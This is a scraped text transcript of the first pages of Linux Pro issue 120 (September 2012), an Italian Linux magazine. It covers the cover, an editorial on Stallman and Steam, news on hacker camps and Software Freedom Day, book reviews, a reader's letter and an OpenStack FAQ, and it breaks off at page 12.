linuxpro-n120_settembre2012

95
F161.cover.illo.pdf 1 01/08/12 11.03 POSTE ITALIANE SPA - TARIFFA R.O.C. - ABB. POST. - D.L. 353/2003 (CONV. IN L. 27/02/2004 N. 46) ART. 1, COMMA 1, DCB MILANO Diventa protagonista nel mondo Linux N. 120 - RIVISTA + DVD 5,90 LINUX PRO N°120 - MENSILE - ANNO X-12 €5,90 CONTROLLARE LA NUVOLA Con Cloudmin hai la gestione centralizzata di cloud diverse Δ ARDUINO Δ OIL RUSH Δ JOOMLA! Δ GENTOO Δ ZORIN OS Δ OPENCV PRO Distributore: Press-Di, Segrate (MI) RETROGAMING I simulatori di videogiochi per i nostalgici di Amiga, C64 e ZX Spectrum SICUREZZA Verifica con WebGoat se ci sono falle nel tuo server Web SEGNALARE GLI ERRORI Dai il tuo contributo all’Open Source svelando i bug del software TURBO FIREFOX Tutte le estensioni per potenziare il re dei browser Open Source Scopri i componenti migliori per il tuo computer e saluta per sempre i problemi di compatibilità Concetti base PHP Assembly OpenCV 15 PAGINE di programmazione ACCADEMIA DEL CODICE Aggiorna il PC

Upload: teologiko

Post on 27-Oct-2015

172 views

Category:

Documents


10 download

DESCRIPTION

mkg

TRANSCRIPT

Page 1: LinuxPro-N120_Settembre2012

F161.cover.illo.pdf 1 01/08/12 11.03

POST

E IT

ALIA

NE

SPA

- TA

RIFF

A R.

O.C

. - A

BB. P

OST

. - D

.L. 3

53/2

003

(CO

NV.

IN L

. 27/

02/2

004

N. 4

6) A

RT. 1

, CO

MM

A 1,

DC

B M

ILAN

O

Diventa protagonista nel mondo Linux

N. 120 - RIVISTA + DVD € 5,90

L I N U X P R O N ° 12 0 - M E N S I L E - A N N O X -12 € 5 , 9 0

CONTROLLARE LA NUVOLA Con Cloudmin hai la gestione centralizzata di cloud diverse

Δ ARDUINO Δ OIL RUSH Δ JOOMLA! Δ GENTOO Δ ZORIN OS Δ OPENCV

PRO

Distributore: Press-Di, Segrate (MI)

RETROGAMING I simulatori di videogiochi per

i nostalgici di Amiga, C64 e ZX Spectrum

SICUREZZA Verifica con WebGoat

se ci sono falle nel tuo server Web

SEGNALARE GLI ERRORIDai il tuo contributo all’Open Source svelando i bug del software

TURBO FIREFOXTutte le estensioni per potenziare il re dei browser Open Source

Scopri i componenti migliori per il tuo computer e saluta per sempre i problemi di compatibilità

Concetti base PHPAssembly OpenCV

15 PAGINE di programmazioneACCADEMIA DEL CODICE

Aggiorna il PC

Page 2: LinuxPro-N120_Settembre2012

I primi manuali interattivi per fotografare come

un VERO PROFESSIONISTA

Scaricalo subito

Scaricalo subito

http://itun.es/i6jk9vq

http://itun.es/isb2Xx

Solo su iPad ● Solo su iTunes

ADV_iBooks_207x285.indd 1 02/08/12 15.58

Page 3: LinuxPro-N120_Settembre2012

LINUX PRO 120 1

Domande alla redazione: [email protected]

Abbonamenti: [email protected]

Arretrati: [email protected]

Problemi con il DVD: [email protected]

Sito Web: www.linuxpro.it Oppure inviate le vostre lettere a: Linux Pro, Sprea Editori S.p.A.,

Via Torino 51, 20063 Cernusco S/N Telefono: 02.92432.1

CONTATTI

LINUXLINUX PROPROPROPROPROPRO

MassimilianoZagagliaResponsabile di redazione

LINUX PRO

Editoriale

ORA TROVI LINUX PRO

ANCHESU ANDROID

Free, solo FreeAlla notizia dell’imminente approdo della piattaforma Steam di Valve in GNU/Linux,

il nostro amato Richard Stallman ha tuonato nuovamente, e giustamente per molti, contro l’uso del software proprietario, non importa se si tratta di giochi in questo caso. Nella lettera inviata alla comunità (https://www.gnu.org/philosophy/nonfree-games.en.html) Stallman ricorda che i programmi non free negano la libertà agli utenti anche se, stranamente, lascia una porticina aperta dicendo che se proprio si vuole giocare con questo tipo di programmi, è meglio farlo sotto GNU/Linux. In tutti i casi, aggiunge Richard, è comunque meglio usare giochi liberi e spingere i progetti che li realizzano. Insomma, l’etica è più importante dell’aspetto più pratico: poter giocare con i giochi che di solito si trovano solo in Windows anche sotto GNU/Linux potrebbe far guadagnare utenti al Pinguino, ma questo genererebbe utenti poco consci dell’importanza delle libertà offerte dal Free Software. Insomma, il discorso non è certo nuovo: se in passato, in alcuni casi, avevamo trovato la posizione di Stallman un po’ troppo rigida (anche se questa è la sua forza, ne siamo consapevoli) in questo caso possiamo dirci completamente d’accordo. Un forte impulso allo sviluppo di giochi, e non solo “giochini”, nativi per GNU/Linux e con licenza libera avrebbe lo stesso

effetto ma sta alla comunità fare in modo che questo accada. Noi ci metteremo alla ricerca in Rete per vedere cosa si sta muovendo in proposito. Una nota a margine: è curioso registrare che la decisione di Valve di “passare” a GNU/Linux è dovuta alle sue lamentele nei confronti del prossimo Windows 8, in particolare contro il Windows Store che in alcune versioni del nuovo sistema operativo di Microsoft sarà l’unico modo per acquistare app. Passiamo ora ai contenuti di questo numero, o meglio a un documento presente nel DVD allegato. Si tratta di una guida creata dal Professor Cantaro dell’Istituto Majorana di Gela (www.istitutomajorana.it), pensata per spiegare alle aziende, ma anche ai privati, come passare in modo indolore al Software Libero. Tutto viene illustrato con un linguaggio semplice, adatto anche agli utenti alle prime armi, e non vuole spingere solo Linux, ma l’uso del Free Software anche negli altri sistemi operativi. Abbiamo trovato la lettura interessante e accettato volentieri l’offerta del professore di mettere la guida a disposizione di tutti i nostri lettori. Per questo mese è tutto, vi lasciamo alla piacevole, speriamo, lettura di questo numero e ci rivediamo il mese prossimo.

Page 4: LinuxPro-N120_Settembre2012

2 LINUX PRO 120

Sommario

SommarioBenvenuti nel centoventesimo numero di Linux Pro, la vostra guida definitiva a Linux e al mondo Open Source

LINUX PRO 120 LINUX PROPRO

In primo piano

Prima di aggiornare

i componenti del vostro computer, leggete la nostra guida così da essere sicuri di non incappare in problemi di compatibilità spendendo soldi inutilmente

10

08 OpenStack 18 Segnalare i bug 24 Emulatori

Aggiorna ora!

Page 5: LinuxPro-N120_Settembre2012

LINUX PRO 120 3

Sommario

04 NewsdeskLe novità del mondo Open Source

06 MailserverFilo diretto con la redazione

08 FAQ: OpenStackLa cloud totalmente Open Source

Approfondimenti 10 Aggiorna il PCL’hardware compatibile con Linux

18 Segnalare i bugDai il tuo contributo all’Open Source

24 RetrogamingGli emulatori per i computer del passato

28 Turbo FirefoxPotenzia il re dei browser

34 Trucchi per sysadminGestisci cloud diverse con Cloudmin

Android

38 NewsTutte le novità sul sistema di Google

39 I testTre dispositivi Android in prova

Recensioni

41 I test del meseΔ Oil Rush Δ Zorin OSΔ In libreria

48 ConfrontoServizi di Project Hosting

54 Da non perdereCinque programmi da provare subito!

Tutorial

58 PresentazioniImpara l’arte di realizzare presentazioni

che non facciano addormentare

il pubblico dei tuoi ascoltatori

62 GentooLa guida completa all’installazione

di una distribuzione complessa

ma non impossibile

66 Permessi dei fileAlla scoperta delle Access Control List,

il modo migliore per avere il massimo

controllo sull’accesso ai file da parte

degli utenti del tuo sistema

68 ArduinoCrea un bot in grado di chiacchierare

con te usando questa incredibile scheda

72 Joomla!Ultimi ritocchi ai template

76 SicurezzaCon WebGoat verifichi il livello

di sicurezza del tuo server Web

Accademia

80 Concetti di baseGli algoritmi di ordinamento

82 PHPCrea un contatore di visite avanzato

86 AssemblyOperazioni matematiche e di input/output

90 OpenCVRiconoscimento facciale

96 Guida softwareGuida al software presente nel DVD

Quando trovi questo bollo negli articoli, cerca il software nel DVD

PROdentro ildentro il

IL DVD IN BREVELATO AΔ DISTRIBUZIONIΔ CentOS 6.3Δ DOCUMENTAZIONEΔ Debian HandbookΔ Passare al Software LiberoΔ RIVISTAΔ Avoision 1.1Δ din 3.5Δ Mundus 1.1.3Δ MyJgui 0.7.4.4Δ UrbanLightScape 1.1Δ UFFICIOΔ LibreOffice 3.5.5

LATO BΔ DESKTOPΔ JSkat 0.10.1 Δ Kenoozoid 0.9.0Δ Mutiara 0.9.2 Δ SysUsage 5.2Δ DISTRIBUZIONIΔ Chakra Linux 2012.07 Δ CloneZilla 1.2.12-67 Δ Haiku R1alpha3 Δ Icaros Desktop Live Δ PartedMagic 12-07-13Δ ReactOS 0.3.14Δ VectorLinux 7.0 64 bit Δ PROGRAMMAZIONEΔ Bluefish 2.2.3

28 Turbo Firefox

LINUX PRO 12

nel DVD

IL DVD IN BREVE

IL PROSSIMO NUMERO ESCE ILNUMERO ESCE IL

Page 6: LinuxPro-N120_Settembre2012

4 LINUX PRO 120

NewsdeskOgni mese tutte le novità dal mondo delle aziende e della comunità Open Source

Manifestazioni

Tempo di raduniun “hacking contest” nel quale ognuno potrà dimostrare le proprio capacità di hacker (etico) con tanto di premi per coloro che riusciranno a “pwnare” per primi le box. Gli organizzatori, per una questione meramente organizzativa, vi invitano a registrarvi al link http://moca.olografi x.org/moca2012/pages/subscribe.

E non solo…Il 15 settembre, poi, si terrà la giornata mondiale del Software Libero e Open Source, il Software Freedom Day (www.softwarefreedomday.org). L’obiettivo di questa giornata è informare il pubblico di tutto il mondo sui vantaggi dell’uso del Software Libero nella scuola, nella pubblica amministrazione, a casa e nel lavoro. L’organizzazione no profi t Software Freedom International coordina il SFD a livello globale, fornendo supporto, materiali e collaborazione e gruppi di volontari in tutto il mondo organizzano gli eventi SFD locali nell’ambito della propria

comunità. Qui da noi, almeno al momento di andare in stampa e stando alla mappa presente nel sito della manifestazione, saranno tre le sedi: gli amici dell’associazione Govonis stanno preparando la sede di Quiliano (http://bit.ly/RbJWZ6), i ragazzi dell’AVi LUG quella di Schio (www.avilug.it/doku.php) e infi ne a Catanzaro, grazie agli sforzi dell’HackLab CatanZaro (http://hacklab.cz/). Sperando di non aver saltato qualche sede (in tal caso ce ne scusiamo e vi consigliamo di tenere sott’occhio il sito uffi ciale della manifestazione) invitiamo tutti i lettori vicini alle sedi di farci un salto.

L’estate sembra proprio essere il momento giusto per ritrovarsi e parlare di Open Source. Dopo

l’Hackmeeting di cui abbiamo parlato il mese scorso, sono in previsione altre manifestazioni. Per esempio dal 24 al 26 agosto a Pescara si svolgerà il Metro Olografi x Camp (MOCA, http://moca.olografi x.org/moca2012). Si tratta di un evento che si ripete con una cadenza quadriennale dal 2004 e che quest’anno si appresta quindi alla sua terza edizione. Il MOCA è un “camp” nello stile di quelli organizzati dal Chaos Computer Club tedesco nel quale ci si ritrova tutti quanti in una sorta di campeggio dedicato al mondo dell’hacking. L’evento si terrà presso l’ex caserma Di Cocco è sarà ad accesso completamente gratuito. I talk in programma spaziano dalla

programmazione su piattaforma Android, al reverse engineering del fi rmware, alla gestione e conservazione in modo sicuro delle password. Ci sarà anche una panoramica sugli attacchi informatici che si sono verifi cati nel corso degli anni passati. Il programma completo lo trovate al seguente indirizzo: http://moca.olografi x.org/moca2012/pages/schedule. Oltre ai talk ci sarà la possibilità di incontrare i più disparati rappresentanti della scena informatica italiana. Tra i partner dell’evento si annoverano infatti Slackware Linux Project italia (slackware.it), SIKUREZZA.ORG, Gir Geek Dinners Roma, dyne.org, Azzurra.org e la comunità italiana della distribuzione GNU/Linux Backtrack, la più utilizzata in ambito penetration testing. Backtrack Italia, in particolare, realizzerà

La pagina Web del sito dell’associazione Govonis (www.govonis.org) che vi tiene informati sulla manifestazione Software Freedom Day di Quiliano, in Liguria

L’impegnativo logo del MOCA: fi no alla fi ne del mondo non sarà un po’ troppo?

Page 7: LinuxPro-N120_Settembre2012

LINUX PRO 120 5

Newsdesk

Hit list

DistroWatch.com monitorizza la popolarità delle distribuzioni in base al numero di visite ricevute dalle pagine dedicate alle singole distro. Anche se questo numero non rappresenta la base installata, è un indicatore di quali distribuzioni hanno più successo in un determinato periodo.

Le 10 pagine più visitate su DistroWatch.com dal 26 giugno 2012 al 25 luglio 2012 (media al giorno)

Distro Numero di hit

1 Mint 3.160

2 Mageia 2.645

3 Ubuntu 1.643

4 Fedora 1.232

5 Debian 1.165

6 openSUSE 1.152

7 Arch 1.144

8 CentOS 1.085

9 Puppy 845

10 PC Linux OS 784

Sotto il radar Firefox OS

Il progetto Boot to Gecko non è una nuova idea. Difatti

è stato in fase di sviluppo per oltre un anno. Il suo scopo era quello di portare un po’ di Open Source nelle piattaforme mobili, ma la competizione da parte di Chrome e Chrome OS è stata feroce. Ora i ragazzi di Mozilla hanno deciso di spingere sull’acceleratore e di usare un nome un po’ più orecchiabile, Firefox OS. Ma questo non è l’unico cambiamento in essere. Seguendo la moda del momento, anche Mozilla intende seguire l’onda del mobile e della tecnologia cloud. Difatti chi tiene sotto controllo l’industria IT prevede che questi due campi rappresentano il futuro e le aziende faranno di tutto affi nché ciò succeda. Le persone hanno fi n troppa libertà sui loro vecchi PC. Esserein grado di tenere traccia delle abitudini degli utenti per la pubblicità, vendere loro app e servizi non necessari e che non useranno, metterli in condizione di dipendere da un servizio: questa

è la direzione che si sta prendendo. E Firefox OS sta forse cercando di percorrere la stessa strada. Gli utenti dei vecchi e classici PC sperano che Mozilla non li abbandoni, ma la situazione potrebbe cambiare: le aziende devono andare dove si spostano i soldi oppure morire. Questa è la realtà del ciclo di business: ti adatti o sparisci.

Ddistrdedrappdistr

3

4

5

6

7

8

9

010

eciso usare

, Firefox mbiamento

momento,onda del Difatti chi

T prevede tano tutto hanno PC. Esserebitudini dere e cheione sta

ppdel ciclo di business: ti adatti o sparisci.

Letture di fine estate

Integrazione Sistemistica con LDAPIl Linux Certifi cation Institute (LiCI), ente di formazione dedicato al mondo del Free Software, pubblica alcuni manuali sulle tecnologie Open. Uno lo recensiamo in questo stesso numero nella pagina “In libreria”. Qui parliamo di un altro volume, un po’ più specifi co, dedicato alla confi gurazione del servizio LDAP per l’autenticazione centralizzata. Le circa 100 pagine del volume iniziano con la trattazione teorica del protocollo LDAP per poi passare all’installazione e alla confi gurazione dell’implementazione OpenLDAP (versione 2.4). Infi ne viene trattata l’integrazione con altri servizi (Apache, Postfi x, Samba, ecc.). Il linguaggio usato è chiaro e riporta un buon numero di esempi. Visto però l’argomento molto specifi co, è necessaria una buona conoscenza di base per poter seguire fi no in fondo le spiegazioni.

Autore: Simone PiccardiEditore: Lici.itPrezzo: € 19,50 (libro), € 3,90 (PDF)

Rivoluzione GoogleSteven Levy è uno dei giornalisti americani che più apprezziamo tra quelli che scrivono di nuove tecnologie. L’ultima sua fatica è il libro Rivoluzione Google che cerca di svelare i segreti del successo di questa grande azienda portando il lettore direttamente negli uffi ci dei suoi fondatori. Google è una delle aziende che negli ultimi 15 anni hanno rivoluzionato la Rete: Levy ripercorre tutte le tappe fondamentali del suo sviluppo, senza dimenticarsi di spiegare anche gli insuccessi e i passi falsi. Secondo noi i capitoli più interessanti sono il terzo e il quarto, in cui si spiega com’è nata la famosa “cultura di Google” e come si è arrivati alla costruzione dei datacenter “contenenti lo scibile umano”. Una lettura piacevole e istruttiva, con alcuni aneddoti davvero interessanti. Insomma, un libro da leggere e da cui imparare la lezione...

Autore: Steven LevyEditore: HoepliPrezzo: € 19,90

Hacking WebL’autore di questo libro, Michal Zalewski, è un noto esperto di sicurezza informatica. Di lui avevamo letto in passato il volume Il rumore dell’hacking rimanendo affascinati dalle cose che ci rivelava (se non l’avete mai letto, cercatelo). Ora è in libreria un suo nuovo libro, Hacking Web, in cui l’autore si concentra sul browser e sui vari protocolli/linguaggi del Web andando a studiarne il funzionamento “con il microscopio”. L’autore fa un’analisi molto lucida e attenta di HTTP, HTML, URL, CSS, MIME, dei plug-in e del comportamento di tutti gli elementi legati al browser e alle applicazioni Web. Il tutto per spiegare le debolezze e gli errori che portano alle tante vulnerabilità di cui si ha notizia quotidianamente e fornire suggerimenti per superare tali limiti.

Autore: Michal ZalewskiEditore: ApogeoPrezzo: € 35,00

Page 8: LinuxPro-N120_Settembre2012

Articolo su Red HatBuongiorno, vi scrivo in merito all’articolo di copertina del numero 119 in cui si parla di Red Hat. Sono un abbonato di LXP da due anni anche se vi seguo da molto più tempo, premetto quindi che mi trovo molto in sintonia con voi, con i vostri articoli e il modo di trattarli. Sono un perito informatico e studente di informatica all’università di Milano-Bicocca, parlo quindi con un velo di conoscenze nel settore. Mi è piaciuto come avete trattato l’argomento di Red Hat, analizzandone le potenzialità e le piccole ombre che ci sono e ci sono state. Devo però fare una critica non tanto all’articolo in sé ma in generale al modo in cui ultimamente mi sembra che la rivista stia guardando a Linux, una visione e un approccio che forse si allontana un po’ da quella che è la fi losofi a del Free Software. Red Hat come Ubuntu e le maggiori distribuzioni danno decisamente un ottimo contributo alla nostra comunità dal punto di vista del miglioramento del kernel e degli applicativi, sono distribuzioni che stanno portando molti nuovi utenti che hanno voglia di abbandonare sistemi proprietari perché vedono in GNU/Linux un sistema più semplice, stabile, sicuro ed effi ciente. Tuttavia questi nuovi e preziosi utenti ne riconoscono le potenzialità ma spesso non il valore etico che c’è dietro ed è su questo punto che io vorrei fare alcune osservazioni a voi di Linux Pro, affi nché si continui a trattare GNU/Linux ma senza uscire dalla strada etica del Free Software che come sappiamo è un concetto diverso da quello

di Open Source. Quello che voglio dire è che mi piacerebbe leggere meno articoli che confrontano Ubuntu con Windows o che elogiano Red Hat e mi piacerebbe vedere qualche articolo su sistemi come gNewSense, forse poco noto sistema operativo che usa solo Software Libero. Non dimentichiamo che Ubuntu, Fedora, OpenSUSE, Red Hat e derivate non hanno purtroppo politiche chiare su che tipo di pacchetti intendono includere nella distribuzione o magari ce l’hanno ma permettono che parti di software proprietario venga incluso nel sistema o addirittura ne incoraggino l’uso. Vi chiedo di prendere in considerazione l’idea di trattare quindi anche sistemi GNU/Linux che usano solamente Software Libero, con articoli e magari una distribuzioni inclusa nel DVD. Visto che questi sistemi a volte non sono semplicissimi da usare o non si integrano con tutti gli hardware, potreste aiutare i nuovi utenti a usare anche questi sistemi spiegando perché oltre all’Open Source è importante che un software sia anche Free, in modo da poter portare a galla anche questo sensibile aspetto che c’è dietro a Linux.

Marco

RCiao Marco, apprezziamo il tuo punto di vista e ci consideriamo richiamati all’ordine. Non abbiamo mai dimenticato l’aspetto etico, ma forse ci siamo

concentrati più sulla pratica che su questo aspetto, ultimamente. Vediamo cosa possiamo combinare nei prossimi mesi per venire incontro alla tua richiesta. LXP

Scriveteci!Se avete dei dubbi di natura tecnica o dei commenti inviate una e-mail...a [email protected] spedite una letteraal seguente indirizzo:Linux ProSprea Editori S.p.A.Via Torino, 5120063 Cernusco S/N (MI)

Invitiamo inoltre tutti i lettori a partecipare al nostro forum che si trova all’indirizzo Web www.linuxpro.it, oppurea collegarsi al nostro canale IRC #lxp ospitato dalla rete irc.freenode.net.

MailserverI nostri esperti offrono ogni mese i loro consigli di programmazione e di amministrazione del sistema

GIOCATI UN SUDOKU,TE LO OFFRE:

LA REGOLA E’ UNA SOLAPer giocare a SUDOKU si deve riempire la griglia in modo che ogni riga, ogni colonna e ogni riqua-dro contengano le cifre da 1 a 9 una sola volta. Per esempio, una riga è formata da 9 quadretti. In ciascuno dei quali va scritta una cifra scelta tra 1,2,3,4,5,6,7,8,9. Nella riga ciascuna cifra deve comparire una sola volta. Ci sono 9 righe e in ciascuna vale sempre la stessa regola: Sempre la stessa regola vale anche per le colonne. Ci sono 9 colonne, da riempire con le stesse cifre da 1 a 9, senza che si ripetano. Infi ne ci sono i riquadri 3x3, per un totale di 9 quadretti. In ciascun riquadro ogni cifra a 1 a 9 deve comparire una sola volta. Il gioco consiste nel riempire di cifre tutte le 81 caselle, rispettando contemporaneamente le regole per le righe, le colonne e i riquadri.

TUTTI I VENERDÌ IN EDICOLATTTTUUUUTTTTTTTTIIII IIII GGGGIIIIOOOOVVVVEEEEDDDDÌÌÌÌ TUTTI I VENERDUTTI I VEN IIIINNNN EEEEDDDDIIIICCCCOOOOLLLLAAAA

A SOLO € 1,00

Diffi coltà semplice

L'invio alla redazione di qualsiasi materiale editoriale (testi, fotografie, disegni, etc.), su qualsiasi supporto e tramite qualunque canale (es. posta ordinaria, e-mail, facebook, sito web, etc.) deve intendersi

- sia quale presa visione, nel colophon della rivista, dell'Informativa

ex art. 13 d.lgs. 196/03, nonché quale consenso espresso al trattamento dei dati personali ai sensi dell'art. 23 d.lgs. 196/03 da parte della Sprea Editori S.p.A.;

- sia quale espressa autorizzazione - in qualità di titolare dei diritti d'autore e di utilizzazione economica, nonché eventualmente di immagine (se del caso anche in qualità di esercente la patria potestà sul minore raffigurato e/o ripreso nelle immagini) -, a titologratuito e in via definitiva, alla libera utilizzazione del predetto materiale da parte di Sprea Editori S.p.A., per qualsiasi fine e con qualsiasi mezzo, e comunque, a titolo di mero esempio, alla pubblicazione gratuita su qualsiasi supporto (cartaceo e non) di titolarità della stessa Sprea Editori S.p.A. e/o delle altre società in qualunque modo ad essa collegate, nonché per qualsivoglia altro fine, con autorizzazione altresì all'elaborazione, all'adattamento, alla trasformazione e a ogni altra modificazione considerati opportuni a discrezione della redazione.

Resta inteso che il materiale inviato alla redazione non potrà essere restituito ed entrerà a far parte dell'archivio della redazione a titolo definitivo.

Page 9: LinuxPro-N120_Settembre2012

È QUANDO TI SENTI PICCOLO CHE SAI DI ESSERE DIVENTATO GRANDE.

A volte gli uomini riescono a creare qualcosa più grande di loro. Qualcosa che prima non c’era. È questo che noi intendiamo per innovazioneed è in questo che noi crediamo.Una visione che ci ha fatto investire nel cambiamento tecnologico sempre e solo con l’obiettivo di migliorare il valore di ogni nostra singolaproduzione.È questo pensiero che ci ha fatto acquistare per primi in Italia impianti come la rotativa Heidelberg M600 B24. O che oggi, per primi in Europa,ci ha fatto introdurre 2 rotative da 32 pagine Roto-Offset Komori, 64 pagine-versione duplex, così da poter soddisfare ancora più puntualmenteogni necessità di stampa di bassa, media e alta tiratura. Se crediamo nell’importanza dell’innovazione, infatti, è perché pensiamo che non ci siano piccole cose di poca importanza.L’etichetta di una lattina di pomodori pelati, quella di un cibo per gatti o quella di un’acqua minerale, un catalogo o un quotidiano, un magazineo un volantone con le offerte della settimana del supermercato, tutto va pensato in grande. È come conseguenza di questa visione che i nostri prodotti sono arrivati in 10 paesi nel mondo, che il livello di fidelizzazione dei nostri clientiè al 90% o che il nostro fatturato si è triplicato. Perché la grandezza è qualcosa che si crea guardando verso l’alto. Mai dall’alto in basso.

207x285_PUB_AGB komori:205x285 27/09/10 13:58 Pagina 1

Page 10: LinuxPro-N120_Settembre2012

FAQ OpenStack

8 LINUX PRO 120

OpenStackLinux Pro evita tutte le metafore sulla cloud nel tentativo di tenere i piedi ben piantati in terra e spiegarvi questa tecnologia legata alla nuvola

Alcune domande su...

» Ma OpenStack non è in circolazione da un po’ di tempo? Sei rimasto

un po’ indietro a questo giro…Sì, hai ragione. OpenStack esiste da diverso tempo. Correva l’anno 2010 quando Rackspace, una famosa azienda di hosting Web, e la NASA, la nota agenzia spaziale che dice di aver mandato degli astronauti sulla Luna, intrapresero un nuovo progetto. Il tutto nacque dopo la pubblicazione di un post su un blog da parte di appaltatore della NASA. Il post recitava: “È stato lanciato NOVA – il cloud computing con licenza Apache, fatto in Python. È live, è buggato, è in beta. Provatelo”. Assieme, NASA e Rackspace andarono avanti e crearono un mondo di fantasia online, nel quale lo storage, le risorse e le prestazioni non sono un problema, e le piccole startup possono costruire le loro torri d’avorio nelle nuvole, ottenendo sistemi che scalano alla perfezione, velocemente e in modo effi ciente, prima di arrivare al punto di vendere le proprie azioni a Facebook. OpenStack rende tutto ciò possibile perché è Open Source, e quindi funziona come Linux stesso. Difatti, alcune persone si riferiscono a OpenStack come il Linux del cloud computing. Potete pagare qualcuno perché utilizzi OpenStack per voi, o potete sperimentare voi stessi con questa soluzione sapendo di avere tra le mani un qualcosa espandibile con facilità. Proprio come Linux.

» No, per favore, non la cloud. Non la capisco.

Forse la migliore analogia che posso fare tra le nuvole reali e la loro varietà computerizzata è che non c’è una sola defi nizione di cosa sia la nuvola. È una defi nizione in perenne mutamento, come il tempo. Potrebbe essere Gmail e il tuo Google Documenti, ma è anche l’account Facebook oppure il tuo calendario Exchange. Se sei un’azienda di tecnologia, c’è una buona probabilità che il tuo

dipartimento IT stia già rimpiazzando i suoi rack di server con dello spazio noleggiato nella cloud di qualcun altro, oppure potresti voler sfruttare a fondo le CPU di Amazon EC2 per ottenere i risultati di calcoli complessi in pochi minuti invece delle settimane richieste facendo i calcoli su un desktop.

» Questo vuol dire che non puoi essere più specifi co nel dirmi

cos’è OpenStack?Essere più specifi ci vuol dire usare qualche pericoloso acronimo. Si può iniziare con IaaS, per esempio, che invece di essere un insulto, sta per Infrastructure as a Service. Questo uso della cloud è quello fatto dal dipartimento IT nell’esempio precedente, dove un’azienda rimpiazza la proprio infrastruttura con una affi ttata da una cloud. Questo è il business che Rackspace vuole dominare, e con buone ragioni. Si hanno enormi economie di scala quando

un’azienda decide di far gestire la propria infrastruttura di rete da un’altra compagnia sulla nuvola, con grandi risparmi. Questo rende IaaS un modello di business molto attraente. Questo è anche il livello in cui opera OpenStack. È una soluzione per la IaaS perché puoi fare tutto quello che vuoi con essa – così come puoi farlo con una macchina virtuale, ad esempio. Dall’altra parte della scala troviamo SaaS, che sta per Software as a Service. Questo è più facile da capire perché, piuttosto che gestire un’intera infrastruttura, ti devi preoccupare di una sola applicazione. Potrebbe essere il CMS aziendale, o un qualunque altro sistema aziendale che richiede l’alta disponibilità. La differenza importante tra SaaS e il vecchio modello basato su server è che queste applicazioni sono di solito fornite dal vendor della cloud.

L’esempio più semplice è pagare per l’accesso corporate a Gmail, al calendario e alla suite per l’uffi cio di Google, piuttosto che far girare tu stesso questi servizi o pagare qualcuno per fagli ospitare i tuoi server. SaaS vuol dire che non ti devi curare dell’installazione, del deployment o della manutenzione (a meno che questi servizi non girino su una cloud che gestisci tu, ovviamente). SaaS diventa rilevante per OpenStack solo quando lo confi guri per offrire un servizio che poi rivendi ai clienti, come un tuo servizio e-mail basato sulla cloud, o un servizio di modifi ca di documenti.

» Ok, ma perché OpenStack è differente?

Sono diverse le ragioni per cui OpenStack è differente e per cui vale la pena darle attenzione. La prima è che è veramente Open Source. Ogni componente è stato rilasciato sotto i termini della licenza

Apache, che è leggermente più permissiva della GPL. Questo vuol dire che puoi rilasciare qualunque modifi ca che fai sotto una licenza diversa, ad esempio, e la “gabbia” creata dalla licenza, in genere, è stata trasformata

in un’opportunità dal team di OpenStack. “Noi crediamo fortemente che un modello di sviluppo aperto sia l’unica via per sostenere degli standard per la cloud, rimuovere la paura dei lock-in proprietari e creare un vasto ecosistema che si estende su più fornitori cloud”, così recita la panoramica del progetto. Con delle API aperte, formati aperti e un codice sorgente completamente modifi cabile, puoi vedere perché, quando si spendono così tanti soldi per spostarsi sulla cloud, OpenStack acquisisce senso. È anche abbastanza facile per le aziende giocare con la cloud privata sulla propria rete, e poi mandare il tutto su fornitori che adottano OpenStack, come Rackspace, quando il tutto funziona. Un’altra ragione è che OpenStack è divenuto un fenomeno. Ti basta guardare solo all’elenco uffi ciale delle 180

“OpenStack è sviluppata in modo aperto e non possiede componenti proprietarie”

Page 11: LinuxPro-N120_Settembre2012

OpenStack FAQ

LINUX PRO 120 9

rilascio e l’altro, per esempio. OpenStack, d’altro canto, è sviluppata in modo aperto e non possiede componenti proprietarie.

» Quindi c’è più di una componente in OpenStack?

Sì, al momento sono tre. La prima è chiamata OpenStack Compute. Questa è la “Nova” a cui si alludeva nel post citato prima, ed è la parte infrastrutturale. È dove vivono le macchine virtuali. Computer fornisce delle API per la confi gurazione e la gestione di queste macchine. È dove gli sviluppatori possono avere a che fare, oltre che con l’hardware virtuale, anche con le capacità di scalare dell’infrastruttura e con quelle di elaborazione parallela. Nonostante il basso livello di queste operazioni, Computer è scritto un Python, e molti sviluppatori scelgono di usare i loro binding Python. C’è il supporto per un vasto range di backend per le macchine virtuali – la parte nota come hypervisor. Questo è in contrasto rispetto a quanto fa Eucalyptus, che supporta solo KVM e Xen, e questo è stato possibile anche grazie a un forte aiuto da parte di Canonical. OpenStack funziona con

compagnie che hanno confessato di averlo adottato. Tra queste puoi trovare Dell, AMD, Cisco, HP, AT&T, Broadcom e Yahoo, assieme a Rackspace. Stranamente, la NASA sta abbandonando OpenStack per passare ad Amazon. Puoi notare anche diversi pezzi da novanta del mondo Linux che si è avvicinato a OpenStack, come Red Hat, SUSE e Canonical. Red Hat in passato aveva le sue soluzioni cloud, inclusa Aeolus, che una graziosa suite software per il deployment di macchine virtuali all’interno della tua rete o su diverse cloud incompatibili. Red Hat alla fi ne è stata tentata da OpenStack, dopo che questa soluzione cloud ha cambiato il suo modello di governance.

» Eppure pensavo che Canonical avesse fatto un grande affare

usando Eucalyptus per la sua cloud. L’aveva fatto, in origine. Ma circa un anno fa, l’azienda dietro a Ubuntu ha annunciato di aver iniziato a rimpiazzare Eucalyptus con OpenStack. La decisione sembra essere stata presa perché Eucalyptus non era aperta come OpenStack. È Open Source, ma passano sempre sei mesi tra un

KVM e Xen, ma anche con VMWare, LXC (Linux Containers – ne parleremo tra uno o due mesi), User Mode Linux e anche Qemu, anche se la documentazione ammette che gli ultimi due sono da usare solo a scopo di sviluppo piuttosto che di produzione.

» E quali sono le altre componenti?Con l’infrastruttura gestita da Nova,

l’altro grande requisito per la cloud è lo storage. Diversamente dal computer che stai usando ora, lo storage nella cloud ha bisogno di far fronte a sistemi distribuiti, processi e capacità dinamiche. Questa componente in OpenStack è chiamata Object Storage, o Swift, e inizialmente è stata sviluppata da Rackspace. È scritta in Python proprio come Nova. Ci sono diverse funzionalità avanzate, come l’abilità di aggiungere con facilità capacità extra, o riparare le rotture automaticamente e può scalare su dimensioni ancora poco familiari per la maggior parte degli utenti – petabyte multipli e miliardi di oggetti (fi le). Infi ne, Swift è collegato a Nova usando l’OpenStack Image Service, che gestisce la scoperta, la registrazione e l’invio delle immagini dei dischi virtuali. LXP

Page 12: LinuxPro-N120_Settembre2012

Spesso noi utenti Linux ci concentriamo principalmente sul software, senza pensare molto all’hardware sottostante. Il motivo di ciò potrebbe

